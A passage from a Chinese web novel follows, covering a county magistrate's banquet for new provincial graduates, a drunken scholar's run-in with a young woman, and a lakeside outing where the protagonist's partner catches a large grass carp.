宋泊常年泡在县学之中,不知哪儿好玩,哪儿的景好看,“去哪儿我倒未有想法,你可有想去的地儿?” “我听路三姑说着城郊有片广阔的绿地,那儿即可以放风筝,边上还有一片湖可以坐船游湖,不如我们去那儿如何?”江金熙提道。 “好啊。”宋泊欣然答应。 隔日宋泊与江金熙去路三姑那儿拿草药的时候,跟路三姑问了那片绿地的详细情况。 霞县算是银湖州的大县,县中湖泊归官府所管,普通商户想在县里做游船生意那是想也别想。偶然间有个商户瞧着城郊有片适合做游湖生意又无人管理的湖,便约着三五同行往那儿聚集,为了引客,他们还给那片湖取了个名儿,因围着湖泊的绿地型似弯月,故而名唤林月湖。 几十年过去,林月湖因着那些商户的活跃,也有了些名声,百姓们外出游玩多会选择林月湖,一来地大可以随便乱跑,二来游湖费用也不高,百姓还能负担得起。 问清楚详细的地儿,宋泊和江金熙一合计,*打算先贴个告示出来,然后九月二十三日,也就是三日后,带着全馆的人儿一齐去林月湖放松放松。 只是理想很美好,现实却很骨感,宋泊和江金熙回到百安馆时,县府内的官差正坐在医馆里等着他们。 官差瞧着宋泊和江金熙回来了,先一步从位置上起来,与两人行礼,“宋解元、江公子。” 宋泊和江金熙对视一眼,皆从对方眼里看见疑问,两人转过身与官差回礼,随后宋泊问道:“你是?” “我是县府官差,杨知县在三日后设了浮白宴,请宋解元和江公子赴宴,这是请帖。”官差从怀里将请帖拿出来,官府的请帖比寻常请帖更华贵一些,外壳用绸布,绸布还绣了花纹,用指腹摸来很有层次感。 “好的多谢。”宋泊将请帖收下,拿了些银钱送与官差,官差乐呵着走了。 既然浮白宴进来横插一脚,那去林月湖的计划只能往后搁,还好宋泊还有十日的假期,去完浮白宴还可以再去林月湖。 三日眨眼即过,宋泊和江金熙穿上正装,坐上马车前往浮白宴。 浮白宴设在县中的一个官湖边儿,周围有官兵把守着,为浮白宴保驾护航。 宋泊和江金熙从马车上下来,把邀请函交与官兵后,便入了浮白宴。因着此次宴会不仅请了文人雅士,还请了哥儿、姑娘,故而吃宴的地儿被分成两边,男子们坐在草坪上的石桌之中,哥儿和姑娘则坐在草坪边儿用帷幔挡起来的亭子中。 “杨知县。”宋泊和江金熙进到浮白宴中,一下便瞧着组局的杨知县。 “哎呀!宋解元和江公子你们来了。”杨知县满面红光,心情非常不错。 乡试红榜下来,霞县出了个解元的事儿不胫而走,隔壁县的人都来与他祝贺,这下霞县出了个大风头,他作为霞县的知县,自然也跟着沾了光,在治县生涯中添上了浓墨重彩的一笔,为升官又填了一块砖。 “介绍一下,这是银湖州的古知州,你们应当见过的。”杨知县道。 “古知州。”宋泊与江金熙又行一礼,宋泊道:“考场上见过古知州。” “宋解元可是个高手。”古知州说:“乡试时我下去瞧过,面对糟糕环境而面不改色的考生不多,宋解元便是一个,他的卷子卷面整洁好看,写得策论思绪清晰,连上头人都说写的好呢。” 乡试期间州府里的官员得下去巡查,古知州坐在知州的位置上,每日公务繁多,只巡查一次就行,当时他瞧着宋泊,一眼便认出他是院试榜首,留心观察了会儿,觉着此人确实是个人才。 杨知县睁大了眼,上头人都说好,可就是真的好。 他听闻乡试出现雷同卷的事儿,想来银湖州所有的乡试卷子都送到了京城去,由京城的官员进行评判,上头人认可宋泊的卷子,便是认可了宋泊这个人,要知道在科举考试途中名声尤为重要,宋泊这是一步踏上光明大道了。 江金熙也是惊讶,他知道宋泊厉害,却不知道宋泊这般厉害,写出的卷子连上头人都认可了,当真是文曲星转世。 “古知州谬赞,宋泊拙见能得考官们欢心,足以。”宋泊谦虚道。 进到浮白宴的人越来越多,路砚知收到杨知县的邀请也来了。 杨知县见来的人差不多了,便请大家上坐,宋泊乡试第一名,路砚知乡试第三十二名,两人名次相差悬殊,自然坐不到一起去。 “今日请大家来此,便是为了给学子们散散心、放松放松,大伙儿可放宽心,随心所欲既是。”杨知县先说了句开场白,随后请古知州说了几句话,古知州的话说完,便有侍人端着菜来,浮白宴正式开始。 说是为了给学子们散散心,可请了其他家的哥儿和姑娘来,这安的什么心大伙儿都清楚。 能考过乡试的人个个有官做,这般良婿自然要早些定下,这些潜规则哥儿和姑娘们都清楚,所以来的时候可仔细瞧过了在场的男子们。 男子那面作诗、饮酒,热闹非常,哥儿、姑娘这儿也是讨论得火热。虽说隔着个帷幔根本看不清男子那边的人儿都长什么模样,但刚刚进宴前可是没有帷幔,她们都瞧得一清二楚。 江金熙人长得漂亮,又跟着江丞相学了说话的技巧,人美说话好听,亭内的哥儿和姑娘们都乐意与他打交道。 “你可瞧了如意郎君?”一个姑娘凑到江金熙边儿问道,她是姜县丞的姑娘,姜轻,今日也是来寻个看得过眼的郎君的。 官家哥儿和姑娘的婚姻多与家父的仕途挂钩,很大一部分的哥儿和姑娘根本无法选择自己喜欢的人,既如此,当然得选个不讨厌的人,这样瞧来也舒心些。 “瞧了。”江金熙道。 “何人呐?”姜轻问着,她想瞧瞧江金熙这般美人眼光如何。 哥儿、姑娘们聚在一起就是喜欢聊这些事儿,大伙儿一听江金熙有了看中的人,都不留痕迹地数着耳朵偷听。 “宋解元。”江金熙道。 姜轻倒吸了口气,“你可是好眼光,但是我听闻宋解元已经有了心上人,那人还在县上开了医馆呢。” 深闺中的哥儿和姑娘消息不灵通,她也是只听说了这事儿,并不知道是否是真的。不过既然有传闻流出,断不可能空穴来风,所以最香的饽饽已经有了意中人,哥儿和姑娘们只能往别的男子那儿选去。 江金熙转眸笑着,眼眸流转之间尽显美色,他柔和地答道:“那人是我,医馆的话我开了一间百安馆。” 第132章 第一百三十二章姜轻。 边儿有个哥儿认出了江金熙,唤道:“对了!你是江大夫!” 那哥儿认不出江金熙也是应该的,毕竟今日江金熙为了参加浮白宴,特意打扮了下自己,与在医馆时大有不同。以往在医馆以简单方便为主,来了宴会自得扮得华贵些,脸虽然还是那张脸,但有无打扮区别很大,只一点儿发型的改变就足够让不太熟悉的人认不出人来。 “江大夫可厉害哩,几月前我染风寒发热多日,江大夫两副药下去,我便觉着好受多了。”那哥儿继续夸道。 姜轻听了那哥儿的话,转过头便敬佩地看着江金熙,“你竟这般厉害!那宋解元配你也算是合适。” 江金熙听她如此说话也是觉着有趣,旁儿都说哥儿和姑娘配男子合适,男子配哥儿合适的话他还是第一回听说。 江金熙喜欢姜轻的说话风格,他难得起了好奇之心,倒也想知道姜轻能看上何人,“那你呢?众多学子之中你可有瞧中谁?” 姜轻摇了摇头,叹息道:“我没有瞧中的人,那些人都爱显摆。” 姜轻说的确实也对,那些中了举的学子们在宴上一顿显摆,单是与湖有关的诗就作了十来首,明白他们是想吸引哥儿和姑娘们的注意,但这般却有些过犹不及,惹人烦了。 一些哥儿和姑娘听着无趣,都跟自己的好伙伴聊起天来,根本未管男子那桌在做什么。 “无妨,时候到了缘分自然会来的。”江金熙说。 他本来也没想这么早便定下终身,只是宋泊来了,缘分便到了。 姜轻应了声也是。 “咦,余元香今日怎的没来,我记着她夫君今年也参加了乡试呢?” “是呀,听闻余家还给她夫君开了小灶,这般都考不上榜么?” “可别提了,她夫君做的事儿现在成了她的污点,她们余家正乱着呢,她哪儿有空来呀。” “她夫君做了何事?” “你没看今年的榜?” “前些日子正赶上家中装修,忙得团团转便未有时间去瞧,可怎了?” “银湖州贴了白榜,上头便有余元香她夫君宋申闻的名字。” “啊——!”聊天中的姑娘发出一声惊叫,所有人都朝她那看,姑娘不好意思地卷了下头发,压低了声音,“那可不是什么好榜啊。” 并非江金熙想要听别人聊天,只是那三位姑娘就在他位置后头站着聊,他想不听着也难。 他未在银湖州看过榜,不知道州府还贴了一张白榜出来,白榜与红榜不同,能上白榜的人基本都是犯了事的,宋申闻的名字既列在上头,那他的仕途也就到头了。 江金熙瞬间想着之前路砚知与他和宋泊提过的乡试答案,定是那不定时炸弹炸了,将那些心怀侥幸走歪门邪道的人给炸了出来。 不过这与他又有何干,宋申闻早从宋家分了出去,不算是宋泊的小叔了,他犯了事也不会影响到宋泊这儿。 夕阳西下,湖面泛起波光粼粼,一阵风儿吹过,将路砚知混沌如浆糊的脑子吹得清醒了几分,他刚从茅厕出来,在宴席上喝了不少酒导致他的脑袋昏沉,走路都走不成直线,只能靠着大概的记忆往回走。 路砚知这般歪七扭八地走着,不小心撞着个人。 “哎哟。”姑娘倒在地上哀叫一声。 路砚知被这一声叫惊醒了脑子,他努力睁大眼睛,却也是迷蒙地认不清人,他对着姑娘的方向先行礼,随后伸出右手来,抱歉道:“不好意思,可撞疼了?” 姑娘并未管路砚知伸出来的手,她自己撑着地从地上爬起来,指着路砚知的鼻头就骂,“喝这么多酒出来就让人扶着你,省得出来撞人。” “撞着人了你这副模样又有何用,跟你说什么道理你肯定都是左耳进右耳出!”姑娘继续骂道。 路砚知乖乖低着头听姑娘骂他,像一只丧了气的大犬一般,他自知理亏,也没强与姑娘争辩,只是在姑娘骂完中途歇息的时候,说了句,“姑娘教训的是。” 见路砚知的态度还算可以,姑娘拍了拍裙摆上的土,她似是不想在这儿多待,“哼”了一声便脚步极快地跑远了。 路砚知挠着头回到宴席上,刚刚发生的事情就像一场梦一般,让他分不清到底是真实还是假象。 现下是宴席的尾声,杨知县和古知州正在说着期盼学子们大展宏图的贺语,大家纷纷附和着,场面闹腾,倒也没人瞧宋泊这处。 宋泊瞧着路砚知回来了,便问着:“你怎的去了那么久?” 方便之处离宴席的地儿也不远,按路砚知的脚程来说,一会儿便能回来,不至于花去两刻钟的时间。 大伙儿喝得尽兴,除了上位没有变过位置以外,其他人都是喝到哪儿就坐在哪儿,如此挪来挪去,路砚知倒是挪到了宋泊身边,别人未注意他们这儿,他俩便放心地说着小声话。 “好像是路上撞到了个姑娘,跟她道歉耽搁了些时候。”路砚知的脑子还转的动,虽说他瞧不清人,但做了什么事却还是记得的。 “你可有问候人家?姑娘可有被你撞出事儿来?”宋泊问。 路砚知身为男子,再怎么着身子骨也比姑娘家硬些,他这人喝了酒分不清东南西北,不知以何种力道撞到了姑娘,若是将姑娘撞出个好歹来,就得找着人家好好解决以免扰了名声。 科举之人名声最是关键,往后的会试和殿试,主考人都会考虑考生的名声。 “她还有气性骂我,应当是无碍。”路砚知道,他也提过要带那姑娘去医馆给人瞧瞧,可那姑娘脾气大得很,只说自己没事,怎么着都不愿去医馆。那他只能退而求其次,从怀里拿了银两给姑娘做诊金使,姑娘未收钱,可劲儿骂了他一顿就走了。 “如此你可得长个教训,别总是喝了酒就分不清道,今日撞了个好相与的姑娘没找你的事儿,明日撞了个脾气不好的,你可就吃不了兜着走了。”宋泊提醒着路砚知,这些生活上的小细节有时会影响大局,古往今来,不乏那种得罪贵人自己却不自知接着仕途泯灭的人。 “是,我记着了。”路砚知应着,“酒虽好,可不能贪杯。” 杨知县和古知州的贺词说得差不多,外头的夕阳也已落下,天色泛起淡淡的黑,杨知县道:“好了,时候不早了,大家可以回去了。” 杨知县发了话,大伙儿不会久留,都纷纷起了身与他和古知州行礼离开,宋泊拉着路砚知给杨知县和古知州行礼,随后扯着一摊烂泥的路砚知出了宴。 江金熙在他们的亭子边等着宋泊和路砚知,两人渐渐朝他走来,路砚知身上酒气熏天,江金熙捂住口鼻,不解,“路兄怎么醉成这样了。” 不少学子从他面前过去都只是身上略沾酒气,怎么的到路砚知这儿变成了酒气熏天,大老远便能闻着,路砚知不会将展示学识的浮白宴当做简单的酒宴,只顾着喝酒了吧? “今日他作诗得了夸赞,一高兴便多喝了些。”宋泊无奈道。 浮白宴上全是人情世故,举人们是未来的官员,大伙儿自然都不乐意得罪,不想得罪就只能说好话,就算作的诗普普通通,他们也会硬找出地儿夸赞。就在这般夸赞之中,路砚知迷失自我,一有人来与他敬酒,他就一仰头将酒杯里的酒全部喝去,别儿个呡一口,他回人家一杯,如此一来酒就喝得多了。 “还好,我瞧着他家马车已经停在外头了,我们将他扛过去就行。”说着,江金熙就打算上手帮忙,宋泊拦住了他,让他在一旁跟着就好,“小心些,我怕他随时会吐,可别吐着我们。” 宋泊已经想好了,只要路砚知有吐的趋向,他就随手把人一丢,等他吐完了再拉出去。 路砚知显然不想被抛于地上,一路上他除了没使劲挪动以外,倒也还算乖巧,宋泊可是庆幸,路砚知不是那种喝醉了回发酒疯的人,不然若在路上死命要跳舞,他也没任何办法。 路家侍人瞧着路砚知这副模样,问道:“宋解元,我家公子这是” “宴席上高兴,喝醉了,回去以后给他喝点醒酒汤,免得明日起来头疼欲裂。”宋泊和路家侍人一起把路砚知抗上马车,忽而边儿有人与江金熙打招呼。 “江公子,我走啦,下回再去医馆找你玩儿。”那姑娘从她家车窗探出脑袋来与江金熙打招呼,瞧着宋泊身上的路砚知时,好看的眉头皱了起来。 江金熙抬着手与她道别,“好,外头尘大,可小心着眼,进车厢里吧。” 宋泊正忙碌着搬路砚知,只听着声却不知是何人与江金熙打招呼,等他把路砚知在车厢里安置好从马车中下来时,只瞧着对方的马车已经行远。 “刚刚谁与你说话呢?”宋泊走到江金熙身边问着,江金熙在霞县开医馆开了一年多,有些认识的人参加了浮白宴也不算稀奇。 “姜县丞的姑娘,姜轻。”江金熙道:“她说她今日可倒霉,出去方便遇着酒鬼,把她撞得身子疼,得赶紧回去贴膏药去去晦气。”? 路砚知撞到的难道是姜轻,那姑娘倒是豪气,只与江金熙说被撞了,却未说出是何人。 总归只是一件小事罢了,想来姜县丞家的姑娘并不会因为这事儿为难路砚知。 第133章 第一百三十三章出游。 九月二十五日,宋泊和江金熙带着一医馆的人去了林月湖。 九月中旬以后,天气便凉了下来,巳时中抵达林月湖时,湖边已有不少百姓们在。 医馆员工多人,单靠阿朝一辆马车定然是运不来的,宋泊和江金熙雇了两个马夫,将人送到林月湖后两位先回县中,等申时中在回到林月湖边接人回去。 阿朝找了棵粗壮的树将马儿栓在树桩上,林月湖边儿的草马儿能食,他便没将马儿栓得太紧,留了段较长的绳子让马儿有一定的移动范围。 “金熙,这儿可好?”宋泊站于一出空地之中,这儿离其他百姓有一定距离,正适合他们这种十几个人一起出游的人群。 “自然好。”江金熙应声,宋泊选的这处临湖,不远便有游船的商贩,想要坐船游湖只需走上个百步,离那些商贩搭建的厕房也近,算是个绝佳的好位置。 定好位置,青桥从马车车厢中将垫在草坪上的布拿出来展开铺好,然后又把准备的吃食放在布上,如此大家便能上布上坐着,欣赏湖边风景。 九月秋风徐徐,湖边长有不少大树,树荫底下不觉炎热,反而还觉着有些微微的凉快。 因着林月湖成了百姓出门游玩的地点,故而一些便于行动的商贩也会聚在此处,简言盯着一个卖纸鸢的摊贩看了许久,终于鼓着勇气转过头与江金熙问道:“郎君,我能不能去买个纸鸢玩儿?” 其实离他更近的人是宋泊,但简言总觉着宋泊有种莫名的威慑感,还是他天天在医馆里见得的江金熙更温柔一些。 “当然可以。”江金熙答道,他站起身来,领着简言到卖纸鸢的摊贩跟前,常乐跟在两人腿边,简言怕常乐吓着其他人,之前还与阿朝讨了根废弃的马缰绳来改成了狗链,现下就用这条狗链拴着常乐,常乐也不觉着束缚,咧着一张嘴高兴地摇尾巴。 见生意来了,摊贩赶紧招呼着,“小朋友,你喜欢哪一款?” 摊贩支了个木头架子,架子上挂满了纸鸢,各种款式的纸鸢都有。 “已有几个小子来我这儿买过纸鸢,现下正飞于空中,你若是拿不定主意,也能往空中瞧瞧。”摊贩说。 简言便是瞧了那些飞在空中的纸鸢才觉着心动,他选了个燕子模样的纸鸢,选着时还询问江金熙这只纸鸢可否。 “这纸鸢多少钱?”江金熙问。 “不贵,就十五文。”摊贩笑答。 能在这湖边玩乐的都是平民百姓,摊贩卖东西的价格也得与目标人群的消费实力相符,故而这林月湖边的东西虽有溢价,却不会偏离正常价格太多。 江金熙正准备掏钱,手臂便被简言给抓住,“郎君,我有钱,我自己付。” 自简言到宋家后,每月宋泊都会给他发些工钱,虽说工钱不多,但简言一直没有花钱的地儿,也就存了不少银两,买个十五文的纸鸢绰绰有余。 “那好,那你出钱。”江金熙也没硬抢着要买单,简言大了,该让他自己给自己买些东西。 简言从怀里把自己的钱袋掏出来,一块一块点出十五块铜钱交到摊贩手中,一手交钱一手拿货,简言拎着自己的纸鸢,高兴得不行,走回去的步伐轻快得要飘起来。 既买了纸鸢就要把它放飞起来,简言记着摊贩与他说的技巧,在他们的据点旁跑着尝试。 江金熙一回来,宋泊便盯着他瞧,瞧还不止,他嘴上还问着,“为何简言刚刚不问我。” 江金熙坐回宋泊身边,笑着道:“许是你看起来有些吓人。” “我哪儿吓人了。”宋泊不解,他只是高但不壮,说话之间也少有大声的时候,他实在不明白自己哪儿给简言留下了吓人的印象。 “男子就算什么都未做,也是比哥儿和姑娘吓人些。”吴末说着给宋泊解释,“我家哥儿到现在还觉着他娘亲好,明明每次说他的都是他娘亲” 江金熙听着两个男子在他面前发牢骚,没忍住笑了,原来男子们还会有这般烦恼,听来实在有趣。 “公子,你快来瞧瞧。”青桥陪着简言放纸鸢,但是久久都未见纸鸢上空。 江金熙闻声过去,原来是两人都未掌握放纸鸢的技巧,理论是一回事,实践又是一回事,摊贩说得简单,实际跑起来却一点儿都不简单。 江金熙尝试了两次,每次纸鸢都在飞往空中时落了下来,而后就变成拖在地上拖着跑。 江金熙拿这个纸鸢也毫无办法,只好继续唤救兵来。 宋泊听到江金熙唤他,便从据点起来走到他们这儿,“怎么了?” “这个纸鸢放不起来。”江金熙右手拿着纸鸢,可怜兮兮地瞧着宋泊,边上青桥和简言也一起盯着他看,想来是把所有希望都寄于他的身上了。 “我来试试。”宋泊接过纸鸢,先研究了下纸鸢的模样,纸鸢中间嵌着一根木棍,这根木棍便是平衡纸鸢用的。 宋泊横抓着木棍,而后沿着顺风的方向跑起来,秋风吹在他的面上,他觉着抓着纸鸢的手有些阻力,他左手松了绳,右手松了纸鸢,纸鸢顺着风飞起来,越飞越高,最后稳稳飞在空中。 “主君好厉害呀!”简言高昂着头,瞧着空中飞着的纸鸢鼓起掌。 “我试了两次都飞不起来,你一来就成了,想来定是我跑得不够快。”江金熙瞧着空中说道。 “也是风大才能飞起来,没风我也束手无策。”宋泊说着将左手拉着纸鸢的线交给简言。 简言美滋滋地拎着线,高兴地放纸鸢。 由青桥看着简言,宋泊和江金熙重新坐回位置上。 吴末看完他们放纸鸢的全过程,心里也是起了些兴趣,他也到摊贩那儿买了只纸鸢,跟简言一起比谁放得高。 “吴师叔也是童心未泯,跟简言比起来斗志昂扬呢。”江金熙与宋泊一同坐着,脑袋一歪,整个人半靠在宋泊身上。 宋泊抬手环住他,两人双手相牵放在江金熙身前,难得的温存时间,两人相靠无言也觉着温馨。 “宋弟!我来”路砚知的声音由远及近,他瞧着宋泊和江金熙靠坐在一起,只觉着自己是不是打扰了宋泊的好事,他嘴上的话立刻转弯,“吴大夫在放纸鸢,我去瞧瞧。” “你怎么在这里呀!”而后一个女声出现,宋泊和江金熙转身看去,姜轻来了,她正双手叉腰看着路砚知。 “你是?”路砚知对眼前的姑娘完全没有印象。 “好啊,那日撞完人以后倒是忘了个一干二净!”姜轻气着道。 宋泊和江金熙都起了身,他们一人拉一个,把姜轻和路砚知都拉到位置上坐好。 “江公子,你怎的未说他也会来呢。”姜轻转头便与江金熙抱怨着,“那日我与你说我被人撞了,就是眼前这个酒鬼!” “那个我不是酒鬼。”路砚知没忍住插了句嘴,“而且江公子应当不知道撞你的人是我。” “确实,我若是知道撞你之人是路兄,我便不喊他了。”江金熙跟着说道。 既是在霞县附近出游,宋泊和江金熙便喊了路砚知和姜轻来。 “没事,那是他的问题,跟你没有关系。”姜轻哼了一声,便与江金熙说着要去湖边看鱼,两人离了位。 泊给路砚知倒了杯茶,问:“路兄,此回可记清了姑娘的模样?” 那日定出游日期时,江金熙说着要唤姜轻,宋泊想着路砚知撞人的事儿不能在他不清不楚之间便过去,就也叫了路砚知来。 “记清了。”现下路砚知清醒着,想起之前的事儿也是自愧不如。 瞧着刚刚姜轻见路砚知时的模样,宋泊就知道姜轻并未原谅路砚知,“等会儿你便与姜姑娘郑重着道歉一番,别让人家心里一直扎着根刺。” “是,我知的。”路砚知乖乖点头。 过了一刻钟,宋泊借着找江金熙有事的借口,把江金熙支走,只留姜轻一人站在湖边。 路砚知轻轻走到姜轻身后,他深吸了口气,做好心理准备道:“姜姑娘。” 路砚知忽然出声把姜轻吓一大跳,她脚下一滑眼瞧着就要落入湖中,路砚知眼疾手快拉住姜轻的手腕,在两力作用之下,姜轻另一手折在胸前,落入路砚知的怀中。 这下好了,姜轻觉着自己还不如掉入湖里,真是碰到面前这个人就没好事。 姜轻板着脸说:“可以放开我了。” 听到姜轻的话,路砚知才反应过来自己做了什么,他小声叫了声往后退了一步,双手张着像投降,“我我我我我不是故意的,我就是看你要掉湖里了,下意识就” “谢谢你。”姜轻道。 无论如何,面前人还是救了自己。 路砚知长这么大,第一次被姑娘谢,他的脸蹭的一下就涨红了,语无伦次,“上次在浮白宴是我没看路撞着姑娘,在此我再与你道歉一次。” 路砚知弯下腰,庄重行礼,“姜姑娘,对不起。” 姜轻瞧着面前这人,都已经考中举人,行为举止却还显稚嫩,不过也正是如此,他才愿意扯下面子与她道歉。要知道那些读书人考中上榜以后,那面子便看得比金子还重,要他们主动与哥儿和姑娘道歉,除非是太阳从西边出来了。 思及此,姜轻心中的不悦散去不少,她扶起路砚知,“既然你如此庄重与我道歉了,那我便原谅你。” “那刚刚的事” “刚刚的事就你知我知!敢说与第三人听,你且等着。” 第134章 第一百三十四章钓鱼。 路砚知与姜轻一起从湖边回来,瞧着姜轻的模样两人应该是将事儿说开了来,如此也好,没必要因为一件小事产生隔阂。 午时吃过饭后,宋泊、江金熙和路砚知、姜轻四人雇了艘小型游船上湖,一开始姜轻拒绝了上船游湖,因为她不会游泳,很怕游船发生事故,后头是商贩再三保证船很安全,坚决不会翻船,姜轻才愿意上船体验一下。 小型游船胜在轻便,船夫开着船出去,没一会儿他们就到了林月湖的中心地儿,今日来游湖的人不多,湖面上只有寥寥几艘船。 船夫跟他们介绍了下船上相应器具所放的位置,便在掌舵之处支了把伞坐着待命,游船最重要的就是游客体验,故而船夫不会无故打扰,只会在客官们有需要的时候才会出现。 既有钓竿,宋泊也想体验把钓鱼的感觉,听闻钓鱼飘忽在湖面上可以放空心灵、陶冶情操,现代和古代两辈子宋泊都没有空体验一次钓鱼,现下难得坐在船上又不赶时间,他便想着尝试一番。 问了船夫钓具的使用方法,宋泊端了把小凳儿往船边一坐,把钓竿甩出去,鱼饵落入水中,宋泊便开始漫长的等待。 路砚知也想尝试钓鱼,他与宋泊一块儿坐在船边,不过一刻钟时间就如屁股被针扎了一般,实在是坐不住,与江金熙和姜轻他们一块儿坐与船厢内泡茶。 又一刻钟时间过去,宋泊脑袋顶上出现一片阴影,江金熙从船厢内拿了把油纸伞来,为了不扰到船底的鱼,他步伐轻巧,走到宋泊边上也是压低了声量在宋泊耳朵边说着,“可热了?” “是有一些。”宋泊答。 虽说秋天的太阳不会晒得人一下便大汗淋漓,但他坐在这个太阳暴晒的地儿一动不动两刻钟,热量慢慢上升,也是热人。 江金熙从边上拿了把小凳子坐在宋泊边上,他撑着伞,两人同处一片阴影之中,他问:“可有鱼儿上钩了?” “能觉着有鱼儿碰钩,但鱼线一直未有动静。”宋泊笑着说道:“刚刚我将鱼钩收上来看了一眼,鱼饵被吃得精光,却没有一只鱼儿上钩,想来我不是来钓鱼的,我是来喂鱼的。” 江金熙被他的说法逗笑了,一个没忍住小声大了些许,他赶紧捂住嘴,压下自己的笑声。 “无妨,我也没打算真的钓到鱼,你尽管笑就是了。”宋泊道。 钓鱼体验的就是那个感觉而已,真那么容易就能钓上鱼,那些钓鱼者也不会每天空着篮子回去了。 见宋泊手持杆子,一定便是两刻钟,定坐时神色自若、大脑放空,江金熙也起了兴趣,想要尝试一下。京城里大有官员喜欢钓鱼,就连他父亲江丞相也会时不时到河边去一趟。 “我想试试。”江金熙双眸闪亮如星辰,宋泊一瞧便毫无招架之力,他将自己手中杆子的鱼线收起来,刚放下去的新鱼饵还没被鱼儿们吃掉。 宋泊将鱼竿整支递给江金熙,既要体验,那当然得体验全套,要从放鱼线开始。 江金熙两手抓着鱼竿,这鱼竿比想象中的沉,宋泊为了避免鱼钩勾住油纸伞,将从江金熙手里接过的伞微微斜了个角度,伞下阴影堪堪盖住两人的脸。 “怎么放钩?”江金熙问道。 “随你,看你是想帅气地甩下去,还是沉稳地直直放下去都行。”宋泊回道。 放鱼钩只要将鱼钩沉入水中就行,想以什么样的姿态放下去随钓鱼者喜欢。 “那我还是直直放好了。”江金熙说,甩下去的方法有危险,若是为了帅气不小心甩着脸,在脸上留下道疤可就不值当了。 鱼钩先沉入湖面,随后江金*熙慢慢松开鱼线,鱼钩越沉越底,直至鱼线到头,江金熙才两手抓着鱼竿把,静静坐着。 两人一人撑着伞一人把着鱼竿,相互无言而身体依靠之下竟又坐了两刻钟。 宋泊瞧着江金熙额头上的汗,正打算唤他回船厢中待会儿凉快凉快,就瞧着他忽然眼神一凝,两手用力抓着鱼竿。 鱼竿剧烈摆动,瞧来像是有鱼上钩。 “宋泊,快帮我,我拉不上来。”江金熙双手紧攥鱼竿把手,赶紧叫宋泊帮忙。 宋泊也顾不上遮阳了,他把油纸伞往旁边一放,走至江金熙身后,由后环住江金熙的身体,以免他被鱼拉着落入湖中,接着才帮他拉住钓竿。 钓鱼钓鱼,可别鱼没钓着,人却被鱼带进湖里了。 听到他们这侧的动静,坐在船厢里泡茶食糕点的路砚知和姜轻与歇息中的船夫都赶了过来。 “发生了什么事!”路砚知忙问道。 “许是有鱼上钩了,快搭把手。”船夫在水上生活几十年,一瞧便知是有东西钩在了鱼钩上,只是湖里不知有鱼,一些人为了顺手把杂物丢进湖中,所以有时他们也会钓上些乱七八糟的东西。 “啊?鱼上钩了!”路砚知先是一愣,随后赶紧帮宋泊拉着鱼竿。 古代的鱼竿没有现代鱼竿那么方便,可以用鱼竿把手上的旋转轮盘把鱼线收上来,古代收线只能硬拉,拉着鱼竿把往后退,将鱼线拉上来。 路砚知和船夫来了,江金熙便从宋泊的怀里钻了出去,这种力气活还得他们三个大男人来做,他手中的力气抓只鸡都难,还是别站于其中添乱了。 他与姜轻并肩站在一旁,心脏扑通扑通跳得极快,在宋泊他们与鱼作斗争的过程当中,他忍不住期待钓上来的会是什么东西。 那鱼活力十足,宋泊他们废了好长时间才把鱼线全部收上来,钓上来了一条草鱼。 草鱼在船上扑腾地厉害,船夫赶忙去拿了个水桶将它搁在里头,省得它折腾死了不好吃。 “这鱼瞧着定有十来斤,客官当真厉害。”船夫夸赞道。 四人围在水桶边低头瞧着里头的鱼,闻言江金熙笑着说道:“也是大家厉害,没你们帮忙这鱼肯定跑了。” “这湖里还真有鱼呐。”路砚知感叹。 “船家,这鱼可算大了?”宋泊没钓过鱼,也没在集市上买过鱼,对鱼的体型他完全没有概念,上桌的鱼一长盘就能装下,这鱼有他一只胳膊长,想来应该算是大鱼了。 “大,可大哩。”船夫说:“这时节最大的草鱼也就这么大了。” “江公子厉害!”姜轻看向江金熙眼里的佩服都快溢了出来,对寻常哥儿和姑娘来说,他们根本不会去钓鱼,既怕污了自己的手,又怕鱼儿上钩时拉着鱼竿时会失态,也就江公子爱尝试各种各样的事儿,这才有机会亲自将大鱼钓上来。 江金熙高兴坏了,他豪气道:“晚上加餐,让我们尝尝这条十几斤重的鱼儿。” 尝过鱼儿上钩的滋味,江金熙上了瘾,他与宋泊坐与船边钓鱼,直到游船重回湖边他才依依不舍地将鱼线收了起来。 江金熙头回钓着鱼,也跟孩童一般想与人炫耀,刚回到据点,便迫不及待出声道:“瞧,我给你们带什么回来了?” 简言和吴末早已放完风筝,吴末坐回据点而简言在草坪上追着常乐玩。 闻言所有人都转头过来,青桥更是从位置上站起来,走到江金熙的身边,等着帮忙。 宋泊拎着从江金熙身后走来,他把桶往草坪上一搁,十五斤重的草鱼展现在大家面前。 刚刚下船时他们便称了这条草鱼的重量,足有十五斤之重,是他们那艘游船至今为止客官钓到的最大的鱼。 “天呐,好大一条草鱼!”吴末惊叹出声,他离他们最近,一眼就瞧着木桶里的草鱼,这鱼的体型看着便不小,应当不太好钓。 “什么!鱼!”简言可爱吃鱼了,听到吴末这么喊着,他也不追常乐了,直接脚下拐弯拐到木桶边,看到里面躺着一条巨大的草鱼,他跑到江金熙身边,满眼冒小星星,“可是郎君钓的?” “正是。”江金熙双手叉腰,难得自豪一次。 “郎君太厉害了!”简言在江金熙边上又蹦又跳,常乐也跑了过来,在两人脚边转圈。 “郎君!”简言双眼圆润地瞧着江金熙,期待又小心翼翼地出声,“晚上、晚上吃鱼吗?” “吃!等会我们回去就去请厨子来做。”江金熙说。 “好耶!” 申时中,早上雇的两位马车夫准时到林月湖边接大伙儿回去。 一回到医馆,江金熙马上让青桥去边儿的饭馆请厨师来烹饪这条大鱼。 这鱼太大,一道菜完全做不完,厨师与江金熙确认了菜品,端上了五道鱼菜,再加上一些其他菜品,一桌子有八菜一汤。 其他人都回去吃饭了,留在医馆里的只有宋泊他们六人,六人配八菜一汤也已足够。 江金熙伸手夹菜,第一筷子的鱼肉送到宋泊的碗中,“愿君往后也有我今日之运气,顺风顺水。” 今日钓着鱼可是个极好的征兆,宋泊得了乡试第一名,他又头一次钓鱼便钓着大鱼,江金熙有种预感,往后他们定会越来越好。 第135章 第一百三十五章大雁! 九月底,宋泊和江金熙上了一趟银湖州,瞧了那块州府赏赐的地儿,这次州府送的地便没上回乡试的好,那地儿也是前店后院,比现在的百安馆大上一倍,但差在地理位置不好,虽说离城门近可是地方偏,会往这铺子前头过的百姓很少,不适合做生意。 两人暂时都想不着这店面能做什么,又因着若是开了店,十二月他们得回趟京城没空管理,故而这十亩地暂且空置下来。 十一月三十日,返回京城的前一天,宋泊正与宋茶栽一起往马车上装东西。 “主君,这些箱子都是要运去京城的吗?”阿朝瞧着地上放着两个大木箱,忍不住问了一嘴。 